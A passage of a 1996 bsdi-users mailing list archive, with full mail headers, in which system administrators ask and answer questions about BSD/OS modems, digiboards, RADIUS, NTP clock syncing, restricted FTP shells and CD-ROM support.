nil nil] ["937" "Fri" "22" "November" "1996" "19:21:09" "-0800" "Chris McGlasson" "chrism@chiba.netxn.com" nil "27" "Modems Locking..AHHH!!!!!" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA11243 for ; Fri, 22 Nov 1996 22:13:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id VAA00460 for bsdi-users-outgoing; Fri, 22 Nov 1996 21:58:51 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chris McGlasson Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Modems Locking..AHHH!!!!! Date: Fri, 22 Nov 1996 19:21:09 -0800 (PST) Hello All. I have a major problem here. For some reason I have a couple of modems locking up on me almost every day. I have switched modems around, and switched lines with the same results. I am using BSDI 2.1, with digi 16EM digiboards, and 28.8 practical peripheral modems. I have the following configuration in my /etc/ttys directory:: ttyA00 "/usr/libexec/getty bidir.38400-hf" vt100 on ttyA01 "/usr/libexec/getty bidir.38400-hf" vt100 on ttyA02 "/usr/libexec/getty bidir.38400-hf" vt100 on ttyA03 "/usr/libexec/getty bidir.38400-hf" vt100 on Is there anything I can do to prevent this most annoying problem?!!! I have some irrate customers here! If there is any program, any configuration, or any advise that someone could give me to fix this problem, it would be greatly appreciated. Thanks in advance. Chris McGlasson System Administrator Net Connection of Bakersfield 805.391.0561 chrism@chiba.netxn.com From VM Sat Nov 23 11:42:48 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["510" "Fri" "22" "November" "1996" "15:17:05" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "16" "Re: SCSI III-Ultra Wide and AUI (15 pin) 10 mbit/sec network card... " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA11532 for ; Fri, 22 Nov 1996 22:28:32 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA00512 for bsdi-users-outgoing; Fri, 22 Nov 1996 22:20:21 -0500 (EST) Message-Id: <199611222017.PAA25714@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Fri, 22 Nov 1996 10:59:16 EST. Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: Sam Brown cc: bsdi-users@BSDI.COM Subject: Re: SCSI III-Ultra Wide and AUI (15 pin) 10 mbit/sec network card... Date: Fri, 22 Nov 1996 15:17:05 -0500 >PCI 21040-AA/AB (note AC doesn't work) chipset cards run as low as $40. Or >do yourself a favor and get a DEC 21140-AA/AB and you'll have room for 100 >megabit, Cost around here is $89 (D-link DFE-500TX).. > >Again i stress the AA/AB chipset not the AC (Rev C/Pass 2.0). They aren't >compatible yet. hint bsdi. hint. > >Sam I don't think SunOS 4.1.3_U1 on a Sparcstation 2 supports 100 Mbit/second, the only other computer on this network, so I dont' think that going 100 megabit/second would help. Jacob From VM Sat Nov 23 11:42:49 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2941" "Fri" "22" "November" "1996" "20:08:02" "-0700" "Stephen Fisher" "lithium@cia-g.com" nil "106" "News server hardware" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA11540 for ; Fri, 22 Nov 1996 22:31:36 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA00513 for bsdi-users-outgoing; Fri, 22 Nov 1996 22:20:33 -0500 (EST) Reply-To: Stephen Fisher Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Stephen Fisher Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: News server hardware Date: Fri, 22 Nov 1996 20:08:02 -0700 (MST) Hi all, is there anyone using this setup as a news server? The things with an * in front of it are from a "News Server" BSDI unix server at http://www.tesys.com, I put my comments below each one. Can anyone make any suggestions that I can change/add/take away from the below setup? I am trying to iron out a nice news server - things are still pretty sketchy Not sure how many groups I want to carry yet but I won't want to carry alt.binaries.* unless they are specifically requested. Probably around 5k-10k groups.. *Motherboard: * Tyan Tomcat 1563 with P5-166, 512KB Pipeline Burst Cache, * 5 ISA & 4 PCI slots Sounds good, maybe a dual-pentium board for future upgrades? Is it worth it? * Case: * Integrand Rackmount Chasis M505R, 6HH bays, Linear * Power-supply, 23" * deep with extra fan(110CFM) (optional: slide rails for * racks 23"/30" or relay brackets 23"/30") I've read that these are very good cases and will keep the Seagate Barracudas cool enough, it being rackmountable is also nice. *Memory: * 64 MB 60nsec memory w/Parity Expandable to 512MB * (ECC/EDO-optional) This sounds good, I can upgrade to 128meg when needed. *Controller Card: * Buslogic BT-948 PCI SCSI Card Ultra Fast Ports: * 2x 16550 Serial, EPP parallel, Infra-red, PCI- IDE(Mode 3 * 4), Floppy, PS/2 Bus Mouse Will one SCSI controller be good enough to control two or three 4GB news spool disks? * Floppy Drive: * Teac 1.44MB 3.5" Floppy Drive * Hard Drive #1: * Seagate ST31055XL 1.05GB, 9msec H2XL Hawk Ultra -System Disk These are fine. This is fine. * Hard Drive #2: * Seagate ST34371, 7200,8MS 4.1GB Barracuda Ultra Data Disk (Qty:2 * recommended for binary and complete news feed) How are these? I am planning on starting with two, maybe three of these. * Video Card: * Diamond Stealth 64 w/1mb DRAM S3868 No way.. I just need a very simple pci or isa cheap card. * Keyboard: * 104AT Enhanced Keytronics * Mouse: * 3 button Logitech Serial Mouseman - Bulk Keyboard should be fine, the mouse isn't needed. * Networking: * DECFast EtherWORKS 10/100 Mb/s PCI/32-bit RJ45 Ethernet * Adapter(DE500-AA) Anyone have any of these cards? Is there a better/worse model? This sounds like a good card. * Monitor: * 14", .28, 1024NI, CTX SVGA Probably.. * Software: * Pre loaded with 16 user Binary BSDI/ Commercial Internet Server * ($995 value) Definately. * Approximate Price: * $4,690.00 Around $5k would be nice. =) TIA. - Steve - Systems Manager - Community Internet Access, Inc. - Gallup and Grants, New Mexico From VM Sat Nov 23 11:42:50 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["849" "Fri" "22" "November" "1996" "19:21:11" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "21" "Re: EIDE CDROM's, are they supported? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA12080 for ; Fri, 22 Nov 1996 22:52:18 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA00580 for bsdi-users-outgoing; Fri, 22 Nov 1996 22:40:19 -0500 (EST) Message-Id: <3.0.1.32.19961122191858.006adb2c@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: Jason Downs Cc: Kent Ketell , "Jacob M. Parnas" , bsdi-users@BSDI.COM Subject: Re: EIDE CDROM's, are they supported? Date: Fri, 22 Nov 1996 19:21:11 -0800 At 11:18 AM 11/22/96 -0800, Jason Downs wrote: >In message <3.0.1.32.19961122092407.009fa998@gw3.firstdata.com>, > Kent Ketell writes: >>EIDE is ATAPI and ATAPI is EIDE and IDE. > >Hardly. EIDE (primarily) refers to various PIO and DMA transfer modes, >while ATAPI refers to the SCSI-like Packet Interface protocol that can be >used over the physical IDE interfaces. The two have very little to do with >each other, since ATAPI devices usually just use basic IDE PIO. > Thanks for the explanation. However, for the purposes of the question as asked, my answer was accurate. An ATAPI cdrom runs from the IDE/EIDE controller. Why is it that so many of you folk have to jump all over people for trying to help others? I thought that the purpose of this list was to offer help to each other, not to blast each other over technicalities. -Kent- From VM Sat Nov 23 11:42:51 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["525" "Fri" "22" "November" "1996" "14:00:40" "-0500" "Alan B. Clegg" "abc@gateway.com" nil "14" "Re: Some additional software for BSDI BSD/OS v3.0" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA12354 for ; Fri, 22 Nov 1996 22:58:48 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA00606 for bsdi-users-outgoing; Fri, 22 Nov 1996 22:52:12 -0500 (EST) In-Reply-To: <199611221827.LAA02555@doctor.nl2k.edmonton.ab.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "Alan B. Clegg" Sender: owner-bsdi-users@lists.gateway.com To: The Doctor cc: bsdi-users@BSDI.COM Subject: Re: Some additional software for BSDI BSD/OS v3.0 Date: Fri, 22 Nov 1996 14:00:40 -0500 (EST) > last wil ONLY indicate to you all SUCCESSFUL users who have logged in. > > I am looking for any programme that tells me IF someone is using telnet/rlogin > and from where. Check out the installed tcp_wrappers (man tcpd). Should do what you want. -abc | Death, Taxes, and Liberals will always be with us. | Alan B. Clegg At least Death never gets any worse. | gateway.com, inc. | From VM Sat Nov 23 11:42:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1128" "Fri" "22" "November" "1996" "14:01:29" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "40" "Re: EIDE CDROM's, are they supported? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA12361 for ; Fri, 22 Nov 1996 23:00:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA00598 for bsdi-users-outgoing; Fri, 22 Nov 1996 22:51:32 -0500 (EST) Message-Id: <199611221901.OAA25478@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Fri, 22 Nov 1996 09:24:17 PST. <3.0.1.32.19961122092407.009fa998@gw3.firstdata.com> Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: Kent Ketell cc: bsdi-users@BSDI.COM Subject: Re: EIDE CDROM's, are they supported? Date: Fri, 22 Nov 1996 14:01:29 -0500 Kent, Thanks for letting me know. That's a big relief because I bought and opened the 12x $150 drive already. I don't think it was returnable. I feel much better now :) Sincerely, Jacob --- In message <3.0.1.32.19961122092407.009fa998@gw3.firstdata.com>you write: >EIDE is ATAPI and ATAPI is EIDE and IDE. > >-Kent- > > >At 08:16 AM 11/22/96 -0500, Jacob M. Parnas wrote: >> >>I misread the supported hardware section and am not sure that my EIDE 12x >>no-name CD-ROM is supported. The hardware specs say >> >>Any SCSI or ATAPI CDROM drive >>Mitsumi LU002S, LU005S, FX001S, FX001D >> >>I don't know what ATAPI is. >> >>Anyway, are EIDE CDROMs supported by BSDI (even 3.0 would be helpful)? >> >>Thanks, Jacob >> >> > ------------------------------------------------------------------------------ | Jacob M. Parnas | | IBM Thomas J. Watson Research Ctr. | | Internet: jparnas@jparnas.cybercom.net | ------------------------------------------------------------------------------ From VM Sat Nov 23 11:42:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["704" "Fri" "22" "November" "1996" "16:47:43" "-0500" "oran stewart" "orange@nathan.allegany.com" nil "27" "Radius Program Help needed" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA13456 for ; Fri, 22 Nov 1996 23:45:00 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id XAA00706 for bsdi-users-outgoing; Fri, 22 Nov 1996 23:33:18 -0500 (EST) Message-ID: <32961F7F.5EB4@nathan.allegany.com> Reply-To: orange@nathan.allegany.com X-Mailer: Mozilla 3.0Gold (Win95; I) MIME-Version: 1.0 References: <3.0b36.32.19961018123815.0077a2b0@popgw.firstdata.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: oran stewart Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Radius Program Help needed Date: Fri, 22 Nov 1996 16:47:43 -0500 hi, i have installed radius on my bsdi 2.1 machine. very soon i am going to run out of space on my terminal server so i would like to use the "users" file in my /etc/raddb directory to handle the "DEFAULT Password = "UNIX"" setup in the "users" file. so far, i have been unable to connect someone via that setup. has anyone been able to make this work? i have only PPP incoming dialups and the DEFAULT section looks like this: DEFAULT Password = "UNIX" User-Service-Type = Framed-User, Framed-Protocol = PPP, Framed-Address = 255.255.255.4, Framed-Netmask = 255.255.255.0, Framed-Routing = None, Framed-Compression = None, Framed-MTU = 1500 thanks for you help, oran stewart allegany.com From VM Sat Nov 23 11:42:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["263" "Thu" "19" "September" "1996" "23:52:58" "-0500" "Donald Dahlman" "druid@eoe-magical.org" nil "6" "guest login" "^From:" nil nil "9" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA13734 for ; Fri, 22 Nov 1996 23:54:58 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id XAA00733 for bsdi-users-outgoing; Fri, 22 Nov 1996 23:52:20 -0500 (EST) Message-ID: <3242232A.5FF5@eoe-magical.org> X-Mailer: Mozilla 3.0b6Gold (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Donald Dahlman Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: guest login Date: Thu, 19 Sep 1996 23:52:58 -0500 I created a user login with no password, I created a menu with error checking and it works. Where do I put the commands to run the script when a guest dials in, and how do I make the script the shell, or activate the menu script from the shell profile.? Thanks. From VM Sat Nov 23 11:42:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1804" "Fri" "22" "November" "1996" "20:49:39" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "64" "Re: Executing a command before kern.securelevel goes to 1?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA13739 for ; Fri, 22 Nov 1996 23:55:21 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id XAA00727 for bsdi-users-outgoing; Fri, 22 Nov 1996 23:50:36 -0500 (EST) Message-Id: <3.0.1.32.19961122204841.006b0750@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: "David A. Lee" Cc: mikep@comshare.com (Mike Pelletier), bsdi-users@BSDI.COM Subject: Re: Executing a command before kern.securelevel goes to 1? Date: Fri, 22 Nov 1996 20:49:39 -0800 Why not just use xntpd as it is intended? It will keep your system accurate within a few thousandths of a second. I use the following: #!/bin/sh CONFIGFILE=/etc/ntp.conf DAEMON=/usr/sbin/xntpd NTPDATE=/usr/sbin/ntpdate if [ -s ${CONFIGFILE} -a -x ${DAEMON} ]; then SERVER=`grep "^server" ${CONFIGFILE} | line | awk '{ print $2 }'` if [ -n "${SERVER}" -a -x ${NTPDATE} ]; then ${NTPDATE} ${SERVER} >/dev/null 2>&1 fi echo -n "xntpd" ${DAEMON} fi This is run out of rc.local. As you can see, it does the single, potentially big adjustment just prior to starting the daemon. This way there is no complaint from the daemon about big jumps. -Kent- At 12:33 PM 11/22/96 -0800, David A. Lee wrote: >I use the following shell command setup to run as root every hour >by cron. > > > > >#Syncronize Clocks ... ># Must be run as ROOT >PATH=$PATH:/usr/sbin >ntpdate $* scruznet.com ncar.ucar.edu haven.umd.edu > > > >> >> I need to make an adjustment to the kernel's clock settings with the XNTP >> "tickadj" program, since my ASA motherboard's clock drifts rather >> significantly -- around 200-250ppm. However, when kern.securelevel is at >> 1, changes to /dev/kmem by tickadj are not permitted. So I need to run >> this "tickadj" command when the security level is still 0. >> >> Now, one notion I've had is to rebuild the kernel with "options INSECURE", >> and then as the first line or two in the "rc" file, do: >> >> tickadj -A -t 9998 >> sysctl -w kern.securelevel=1 >> >> But I was wondering if there might be a way to do it without the INSECURE >> option. And I'm not sure about this option - is setting kern.securelevel >> to zero instead of 1 all it really does? >> >> Thanks for any suggestions you can offer! >> >> -Mike Pelletier. >> > > > From VM Sat Nov 23 11:42:59 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1120" "Fri" "22" "November" "1996" "23:56:19" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "28" "Re: EIDE CDROM's, are they supported? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA14009 for ; Sat, 23 Nov 1996 00:00:17 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id XAA00748 for bsdi-users-outgoing; Fri, 22 Nov 1996 23:56:47 -0500 (EST) Message-Id: <199611230456.XAA26826@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Fri, 22 Nov 1996 19:21:11 PST. <3.0.1.32.19961122191858.006adb2c@popgw.firstdata.com> Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: Kent Ketell cc: Jason Downs , bsdi-users@BSDI.COM Subject: Re: EIDE CDROM's, are they supported? Date: Fri, 22 Nov 1996 23:56:19 -0500 In message <3.0.1.32.19961122191858.006adb2c@popgw.firstdata.com>you write: >At 11:18 AM 11/22/96 -0800, Jason Downs wrote: >>In message <3.0.1.32.19961122092407.009fa998@gw3.firstdata.com>, >> Kent Ketell writes: >>>EIDE is ATAPI and ATAPI is EIDE and IDE. >> >>Hardly. EIDE (primarily) refers to various PIO and DMA transfer modes, >>while ATAPI refers to the SCSI-like Packet Interface protocol that can be >>used over the physical IDE interfaces. The two have very little to do with >>each other, since ATAPI devices usually just use basic IDE PIO. >> > >Thanks for the explanation. However, for the purposes of the question as >asked, my answer was accurate. An ATAPI cdrom runs from the IDE/EIDE >controller. > >Why is it that so many of you folk have to jump all over people for trying >to help others? I thought that the purpose of this list was to offer help >to each other, not to blast each other over technicalities. > >-Kent- I very much appreciate you clearing it up for me. I'm just learning about the PC world. I used to mainly use Suns and earlier Vaxes and ISI machines. Thanks again, Jacob From VM Sat Nov 23 11:43:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["890" "" "23" "November" "1996" "00:42:05" "-0500" "Jason R. Mastaler" "jason@mastaler.com" nil "19" "rksh and restricted ftp compromise?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA15101 for ; Sat, 23 Nov 1996 00:47:06 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id AAA00850 for bsdi-users-outgoing; Sat, 23 Nov 1996 00:42:20 -0500 (EST) Message-ID: Lines: 18 X-Mailer: Red Gnus v0.61/XEmacs 19.14 Precedence: bulk From: jason@mastaler.com (Jason R. Mastaler) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: rksh and restricted ftp compromise? Date: 23 Nov 1996 00:42:05 -0500 I am interested in a best of both worlds scenerio between a restricted shell environment and the wu-ftpd "ftponly" method of directory restriction. I would like for ftp users to be able to restricted to a directory I define, but also be able to cd within that directory. At the same time, I don't want any extraneous files in that directory such as "ls" binaries or copies of shared libs. With the wu-ftpd method, I can get this restriction, but have to include a copy of "ls" at a minimum for them to be able to do directory listings. This is unacceptable if their directory is a webroot (which it is in this case). Changing their shell to rksh takes care of the listing issue and provides restriction, but doesn't allow any cd commands period, even within their home directory. I need a compromise here. Has anyone come up with a suitable method? I'm running BSD/OS 2.0.1. From VM Sat Nov 23 11:43:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1521" "Sat" "23" "November" "1996" "16:06:57" "+1030" "Stavros Patiniotis" "stavros@bang.esc.net.au" nil "50" "Re: Radius Program Help needed" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA15369 for ; Sat, 23 Nov 1996 00:47:46 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id AAA00844 for bsdi-users-outgoing; Sat, 23 Nov 1996 00:40:26 -0500 (EST) In-Reply-To: <32961F7F.5EB4@nathan.allegany.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Stavros Patiniotis Sender: owner-bsdi-users@lists.gateway.com To: oran stewart cc: bsdi-users@BSDI.COM Subject: Re: Radius Program Help needed Date: Sat, 23 Nov 1996 16:06:57 +1030 (CST) Oran, > hi, > > i have installed radius on my bsdi 2.1 machine. very soon i am going to > run out of space on my terminal server so i would like to use the > "users" file in my /etc/raddb directory to handle the "DEFAULT Password > = "UNIX"" setup in the "users" file. so far, i have been unable to > connect someone via that setup. > > has anyone been able to make this work? > > i have only PPP incoming dialups and the DEFAULT section looks like > this: > > DEFAULT Password = "UNIX" ^^^^^^^^^^^^^^^^^ for radius v2.0 should be "System" WITHOUT the quotes. > User-Service-Type = Framed-User, > Framed-Protocol = PPP, > Framed-Address = 255.255.255.4, ^^^^^^^ should be 255.255.255.254 > Framed-Netmask = 255.255.255.0, ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ not really needed > Framed-Routing = None, ^^^^^^^^^^^^^^^^^^^^^^ not really needed > Framed-Compression = None, ^^^^ you may want to try "Van-Jacobson-TCP-IP" again, without the quotes > Framed-MTU = 1500 > > thanks for you help, Thats ok, however, this is more a question for portmaster-users :-) Regards, Stavros Patiniotis ------------------------------------------------------------------------------ -System Administrator / Network Manager Escape.Net - - 465b South Rd - -email: stavros@esc.net.au Keswick SA 5035 - -URL: http://www.esc.net.au Ph 82932526 Fax 82932949- ------------------------------------------------------------------------------ From VM Sat Nov 23 11:43:04 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1487" "Fri" "22" "November" "1996" "21:56:27" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "34" "Re: Modems Locking..AHHH!!!!!" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA15645 for ; Sat, 23 Nov 1996 01:02:09 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id BAA00889 for bsdi-users-outgoing; Sat, 23 Nov 1996 01:01:34 -0500 (EST) Message-Id: <199611230556.VAA26436@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, chrism@chiba.netxn.com Subject: Re: Modems Locking..AHHH!!!!! Date: Fri, 22 Nov 1996 21:56:27 -0800 (PST) > Hello All. I have a major problem here. For some reason I have a couple > of modems locking up on me almost every day. I have switched modems > around, and switched lines with the same results. > > I am using BSDI 2.1, with digi 16EM digiboards, and 28.8 practical > peripheral modems. I have the following configuration in my /etc/ttys > directory:: > > ttyA00 "/usr/libexec/getty bidir.38400-hf" vt100 on > ttyA01 "/usr/libexec/getty bidir.38400-hf" vt100 on > ttyA02 "/usr/libexec/getty bidir.38400-hf" vt100 on > ttyA03 "/usr/libexec/getty bidir.38400-hf" vt100 on > > Is there anything I can do to prevent this most annoying problem?!!! I > have some irrate customers here! If there is any program, any > configuration, or any advise that someone could give me to fix this > problem, it would be greatly appreciated. Thanks in advance. > When the modems are locked up do they respond to anything except a power cycle? You might check to see if there's an option in the modem to reset to the saved configuration when DTR is lowered. That way the modem gets reset when BSD/OS lowers DTR when the line is dropped. That might help. You could put X10 power modules on each modem so that you can power-cycle the modem periodically or when you detect that it isn't responding. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Sat Nov 23 11:43:06 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1581" "Fri" "22" "November" "1996" "22:05:05" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "38" "Re: EIDE CDROM's, are they supported?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA15918 for ; Sat, 23 Nov 1996 01:12:14 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id BAA00898 for bsdi-users-outgoing; Sat, 23 Nov 1996 01:10:11 -0500 (EST) Message-Id: <199611230605.WAA26472@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: downsj@teeny.org, kent_ketell@firstdata.com Cc: bsdi-users@BSDI.COM, jparnas@jparnas.cybercom.net Subject: Re: EIDE CDROM's, are they supported? Date: Fri, 22 Nov 1996 22:05:05 -0800 (PST) > At 11:18 AM 11/22/96 -0800, Jason Downs wrote: > >In message <3.0.1.32.19961122092407.009fa998@gw3.firstdata.com>, > > Kent Ketell writes: > >>EIDE is ATAPI and ATAPI is EIDE and IDE. > > > >Hardly. EIDE (primarily) refers to various PIO and DMA transfer modes, > >while ATAPI refers to the SCSI-like Packet Interface protocol that can be > >used over the physical IDE interfaces. The two have very little to do with > >each other, since ATAPI devices usually just use basic IDE PIO. > > > > Thanks for the explanation. However, for the purposes of the question as > asked, my answer was accurate. An ATAPI cdrom runs from the IDE/EIDE > controller. > > Why is it that so many of you folk have to jump all over people for trying > to help others? I thought that the purpose of this list was to offer help > to each other, not to blast each other over technicalities. > I think we need to remember some of the basic rules of newsgroups and mailing lists - to have a thick skin when reading, and be polite and considerate when writing to the list. Remember that what seems like harsh words to one person may not have been meant that way by the poster. It didn't seem to me that there was much "jumping over people" going on, nor any "blasting", but it might have seemed that way. What it one person is nit picking might to another be paying attention to details (or showing off!). Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Sat Nov 23 11:43:07 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["224" "Sat" "23" "November" "1996" "01:14:58" "-0500" "Brian Backer" "bbacker@blink.net" nil "10" "proxy arp." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA16466 for ; Sat, 23 Nov 1996 01:30:19 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id BAA00915 for bsdi-users-outgoing; Sat, 23 Nov 1996 01:23:35 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: proxy arp. Date: Sat, 23 Nov 1996 01:14:58 -0500 (EST) I was just noticing that some of my ppp interfaces publish permanant proxy arps, but some dont. Should they? why do some and not others. What can I tell you to make this question possible to answer :) thanks brian From VM Sat Nov 23 11:43:19 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1368" "Sat" "23" "November" "1996" "02:03:50" "-0500" "Roch Pageau" "rpageau@inexpress.net" nil "40" "digiboard problem" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id CAA19112 for ; Sat, 23 Nov 1996 02:13:32 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id CAA02624 for bsdi-users-outgoing; Sat, 23 Nov 1996 02:06:07 -0500 (EST) Message-Id: <1.5.4.32.19961123070350.0099f658@204.101.127.2> X-Sender: rpageau@204.101.127.2 X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Roch Pageau Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: digiboard problem Date: Sat, 23 Nov 1996 02:03:50 -0500 I have BSDI 2.1 and two digi 16em daisy chained together for 28.8 practical modems. The last 10 ports do not seem to be configured properly. When a customer tries to download files the port seems to hang and you cannot do anything else but disconnect and start over. The line 